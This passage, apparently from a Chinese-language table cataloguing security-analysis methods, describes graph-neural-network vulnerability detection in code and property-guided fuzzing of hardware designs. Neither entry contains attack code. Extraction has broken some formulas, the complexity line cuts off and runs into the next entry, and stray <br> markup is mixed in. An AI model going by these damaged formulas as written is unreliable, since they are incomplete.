4. 图级分类/节点分类：对于漏洞检测，可以对整个图（函数）进行分类（是否有漏洞），或对节点（如变量使用点）进行分类（是否漏洞点）。图级表示可通过全局池化（如求和、均值）所有节点表示得到：`h_G = POOL({h_v^{(L)}

v∈V})。然后通过全连接层输出概率P(vulnerable) = softmax(MLP(h_G))`。
5. 训练与预测：使用已标记漏洞/非漏洞代码数据集训练GNN模型。训练完成后，对新代码构建图，输入模型得到漏洞预测分数和可能位置。

准确率：依赖于训练数据质量和规模，在benchmark上可达较高水平。泛化性：可学习到语法结构之外的语义模式，但可能过拟合训练集分布。

图表示学习、深度学习、程序分析、数据流分析

1. 检测C/C++代码中的缓冲区溢出、格式化字符串漏洞
2. 检测Java/Python代码中的注入漏洞（SQLi, XSS）
3. 检测智能合约（Solidity）中的重入、整数溢出漏洞
4. 二进制代码相似性分析及漏洞搜索
5. 代码克隆检测（携带漏洞的克隆）
6. 漏洞修补推荐（定位漏洞点）
7. 第三方库漏洞影响分析
8. 自动化代码审计辅助工具
9. 恶意软件分类与家族识别
10. 软件供应链安全（检测开源组件中的已知漏洞模式）

常量：训练数据集D={(G_i, y_i)}，图神经网络结构参数（层数L，隐藏层维度d），节点特征维度f。
变量：节点特征矩阵X，邻接矩阵A，模型参数Θ（权重矩阵），预测概率p。
参数：图构建方法（AST, CFG, PDG, 混合），GNN类型（GCN, GAT），训练超参数（学习率、epoch）。

状态：S0-准备训练/测试代码-> S1-代码解析，构建图表示G-> S2-节点特征提取-> S3-（训练阶段）输入G和标签y，前向传播计算损失，反向传播更新Θ-> S4-（预测阶段）输入新代码的图G'，前向传播得到预测p'-> S5-根据p'输出漏洞报告。

图论：代码表示为图，GNN在图上进行消息传递和聚合。
线性代数：图卷积操作可表示为H^{(l+1)} = σ( Ã H^{(l)} W^{(l)} )，其中Ã是归一化的邻接矩阵，H^{(l)}是第l层节点特征矩阵。
概率：输出是漏洞概率p ∈ [0,1]。
优化：使用梯度下降法最小化交叉熵损失L = -Σ_i [y_i log(p_i) + (1-y_i) log(1-p_i)]。

代码的中间表示（如LLVM IR）、图数据格式（邻接列表、特征矩阵）、深度学习框架API。

1. 训练：
a. 对每个有标签的C函数，用Clang解析生成AST，并进一步转化为数据流图（DFG）和控制流图（CFG）的混合图G。
b. 节点特征：操作符类型（one-hot）、数据类型、文本（经嵌入层）。
c. 构建小批量，输入GNN模型（如3层GCN）。
d. 计算损失，反向传播，更新参数Θ。
2. 预测：对新函数func()，同样构建图G'，输入训练好的模型。模型输出标量p。如果p > 0.5，则标记为潜在漏洞。
3. 可解释性：可以使用注意力权重或梯度方法来高亮对预测贡献最大的节点（代码行）。

顺序（前向/反向传播）+ 并行（GNN中节点特征的聚合和更新可并行化）

时间：图构建O(

V

Virus1-0056​

硬件缺陷（设计-验证）​

基于属性引导测试的硬件安全验证模型

属性引导的硬件模糊测试

1. 安全属性形式化：将硬件安全要求形式化为属性（Assertions），使用SystemVerilog Assertions (SVA) 或类似语言。例如，`assert property ( @(posedge clk) (req && !ack)

=> ##[1:5] ack );表示请求后必须在1-5周期内得到应答。<br>2. **测试平台与约束随机测试**：构建一个受约束的随机测试平台（Testbench）。定义输入信号的随机分布，但施加约束以确保生成的激励有效（如某些信号互斥）。使用SystemVerilog的rand、constraint。<br>3. **属性监控与覆盖**：在仿真过程中，监控器（Monitors）检查属性是否被违反。同时，收集代码覆盖率（行、条件、翻转）和功能覆盖率（如特定状态、交易类型）。覆盖点（Covergroups）定义需要覆盖的场景。<br>4. **反馈导向的激励生成**：基于覆盖率反馈，动态调整随机约束或使用遗传算法，生成能触发未覆盖代码或状态的激励。目标函数是最大化覆盖率Cov`。
5. 漏洞挖掘：当属性被违反时，记录导致违反的波形（Waveform），并最小化测试用例以定位根本原因。同时，覆盖率的死角可能暗示未经验证的功能或潜在漏洞。

验证强度：高，结合形式化属性、随机测试和覆盖率引导，能有效发现设计错误。效率：比纯形式化验证可扩展性更好，但比定向测试计算量大。

约束随机验证、功能覆盖率、属性检查、遗传算法

1. 验证处理器指令执行正确性
2. 验证缓存一致性协议
3. 验证网络-on-Chip（NoC）路由器的无死锁属性
4. 验证加密硬件模块的侧信道泄露属性
5. 验证硬件加速器（如AI）的功能安全
6. 验证SoC集成中不同IP核的交互
7. 验证硬件木马检测机制的有效性
8. 验证汽车电子功能安全（ISO 26262）
9. 验证航空航天系统的容错设计
10. 学术研究中的硬件安全验证方法学

常量：硬件设计（RTL）Design，形式化属性集Properties，覆盖点定义Covergroups。
变量：随机激励向量Stimulus，当前覆盖率Coverage，属性违反计数器Violations。
参数：测试周期数NumCycles，随机种子Seed，覆盖率目标CovTarget，反馈算法参数。

状态：S0-初始化测试平台，加载设计-> S1-生成随机激励（受约束）-> S2-仿真一个周期/事务-> S3-监控属性，记录违反-> S4-收集覆盖率-> S5-（基于覆盖率反馈）调整随机约束或生成新激励-> S6-重复S1-S5直到达到周期数或覆盖率目标-> S7-生成验证报告（属性通过/违反，覆盖率）。